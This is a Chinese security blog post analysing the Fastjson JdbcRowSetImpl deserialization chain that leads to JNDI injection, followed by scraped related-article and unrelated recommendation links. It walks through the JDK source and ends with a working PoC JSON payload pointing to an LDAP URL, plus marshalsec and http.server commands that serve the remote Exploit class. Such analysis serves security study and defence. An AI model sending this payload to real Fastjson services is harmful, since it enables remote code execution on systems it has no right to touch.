Java安全之FastJson JdbcRowSetImpl 链分析

利用限制

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

因为主要是FastJson,所以就不讲JNDI相关的东西了

前置知识

  • 前提是@type
    JSON.parse   会自动调用 set方法
    JSON.parseObject  会自动调用set 和 get方法

关键就是JdbcRowSetImpl类的setDataSourceName()方法和setAutoCommit方法。看一下这个利用链是怎么攻击的:

查看代码
   public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
} else {
this.conn = this.connect();
this.conn.setAutoCommit(var1);
} }
因为这是set开头的方法,是设置autoCommit中的值这里我们需要调用 this.connect(),所以 autocommit的值为 true.
进入this.connect();
查看代码
 private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}
之类我们看见new InitialContext,和lookup这些,就可以联想到JNDI注入
所以只需要看一下lookup(this.getDataSourceName),里面的可控就行
public String getDataSourceName() {
return dataSource;
}

一个get获取值的方法,所以我们找一下有没有set,

public void setDataSourceName(String name) throws SQLException {

    if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
} URL = null; //简单的赋值操作
}

然后就是直接构造

String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
JSON.parse(PoC); //例子String jsonString2 = "{\"@type\":\"com.feng.pojo.Student\",\"age\":18,\"name\":\"feng\"}";
//和上面,对应其实data。。。 就是变量名,后面其实就是赋值操作

然后python -m http.server 8000, Exploit的文件在里面

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 1389  最后开启JNDI服务

FastJson JdbcRowSetImpl的更多相关文章

  1. Java安全之FastJson JdbcRowSetImpl 链分析

    Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...

  2. Fastjson JdbcRowSetImpl利用链学习

    JdbcRowSetImpl 接着继续学习fastjson的第二条链JdbcRowSetImpl,主要是利用jndi注入达到的攻击,而且没有什么利用限制,而且其原理就是setter的自动调用,具体se ...

  3. Fastjson反序列化漏洞分析 1.2.22-1.2.24

    Fastjson反序列化漏洞分析 1.2.22-1.2.24 Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两 ...

  4. fastjson反序列化JdbcRowSetImpl

    Gadget com.sun.rowset.JdbcRowSetImpl setAutoCommit() -> connect() -> InitialContext.lookup() p ...

  5. fastjson 1.2.24-基于JdbcRowSetImpl的PoC构造与分析

    前言: 基于fastjson的第一种payload是基于templatesImpl的方式,但是这种方式要求Feature.SupportNonPublicField才能打开非公有属性的反序列化处理,是 ...

  6. fastjson反序列化-JdbcRowSetImpl利用链

    fastjson反序列化-JdbcRowSetImpl利用链 JdbcRowSetImpl利用链 fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs. ...

  7. fastjson 反序列化漏洞利用总结

    比赛遇到了,一直没利用成功,这里做个记录. 环境搭建 首先用 vulhub 搭建 fastjson 的漏洞环境. 漏洞环境程序的逻辑为接收 body 的数据然后用 fastjson 解析. 漏洞利用 ...

  8. Fastjson反序列化漏洞概述

    Fastjson反序列化漏洞概述 ​ 背景 在推动Fastjson组件升级的过程中遇到一些问题,为帮助业务同学理解漏洞危害,下文将从整体上对其漏洞原理及利用方式做归纳总结,主要是一些概述性和原理上的东 ...

  9. fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录

    环境搭建: 漏洞影响版本: fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞 环境地址: https://github.com/vulhub/vulhub/tree/master ...

  10. 关于Fastjson 1.2.24 反序列化导致任意命令执行漏洞

    环境搭建: sudo apt install docker.io git clone https://github.com/vulhub/vulhub.git cd vulhub fastjson 1 ...

随机推荐

  1. P30_全局配置 - window - 下拉刷新

    window 全局开启下拉刷新功能 概念:下拉刷新是移动端的专有名词,指的是通过手指在屏幕上的下拉滑动操作,从而重新加载页面数据的行为. 设置步骤:app.json -> window -> ...

  2. Ubuntu18.04 下使用Flatpak稳定安装TIM、微信、迅雷和百度云

    https://gitee.com/wszqkzqk/deepin-wine-for-ubuntu git clone https://gitee.com/wszqkzqk/deepin-wine-c ...

  3. 简要介绍WASAPI播放音频的方法

    正文 填一下之前挖的坑,这回就说说怎么用WASAPI播放声音吧. 本文完整代码可以在以下链接找到 https://gitcode.net/PeaZomboss/learnaudios 目录是demo/ ...

  4. 使用springboot cache + redis缓存时使用gzip压缩以提升性能

    背景 在高并发的场景中,我们通常会使用缓存提升性能.在使用springboot cache时,我们通常会使用基于JSON的序列化与反序列化. JSON具有可读性强,结构简单的特点,使用灵活. 但是JS ...

  5. vue开发大屏项目屏幕适配问题解决方案

    1.新建自定义指令文件如下: 2.文件中插入一下代码: import { App, Directive, DirectiveBinding, nextTick } from 'vue' import ...

  6. PostgreSQL TOAST技术解析

    一.TOAST是什么? TOAST是"The Oversized-Attribute Storage Technique"(超尺寸字段存储技术)的缩写,主要用于存储一个大字段的值. ...

  7. Linux环境安装Go

    1.下载Go发行版 从官方地址:https://golang.org/dl/ 上下载合适的 二进制发行版 (例如: go1.19.6.linux-amd64.tar.gz ): wget https: ...

  8. C#获取各种当前日期时间

    我们可以通过使用DataTime这个类来获取当前的时间.通过调用类中的各种方法我们可以获取不同的时间:如:日期(2008-09-04).时间(12:12:12).日期+时间(2008-09-04 12 ...

  9. grafana二次开发环境配置(windows10)

    安装说明: 由于在windows环境安装grafana,第一次安装的是8.2.2版本,后端编译时一直报错,故安装了8.1.7 该错误在 grafana 的源码问题中可以找到,但针对 windows 暂 ...

  10. 如何卸载win10自带的输入法?

    如何卸载win10自带的输入法?  本来没想过卸载win10自带的微软拼音输入法,但是它和今天安装的搜狗拼音输入法不兼容,没办法,我就上网搜教程如何卸载它,教程亲试有效哦! 网址:http://www ...